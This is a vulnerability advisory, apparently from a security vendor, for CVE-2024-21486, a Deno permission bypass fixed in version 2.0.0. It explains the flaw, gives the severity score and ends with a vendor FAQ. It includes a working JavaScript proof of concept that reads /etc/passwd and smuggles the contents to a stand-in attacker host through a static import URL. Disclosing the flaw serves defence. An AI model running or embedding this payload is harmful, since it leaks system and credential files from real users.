CVE-2024-21486

Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.

Details

Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run:

1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
2. When --allow-write and --allow-read permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.

PoC

const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
  'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
  encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);

Executing a file containing this payload twice, with deno run --allow-read --allow-write would cause the password file to leak on the network, even though no network permission was granted.

This vulnerability was fixed with the addition of the --allow-import flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

CVE-2024-21486 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-21486? CVE-2024-21486 is a medium-severity security vulnerability in deno (rust), affecting versions < 2.0.0. It is fixed in 2.0.0.
2. How severe is CVE-2024-21486? CVE-2024-21486 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of deno are affected by CVE-2024-21486? deno (rust) versions < 2.0.0 is affected.
4. Is there a fix for CVE-2024-21486? Yes. CVE-2024-21486 is fixed in 2.0.0. Upgrade to this version or later.
5. Is CVE-2024-21486 exploitable, and should I be worried? Whether CVE-2024-21486 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-21486 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-21486? Upgrade deno to 2.0.0 or later.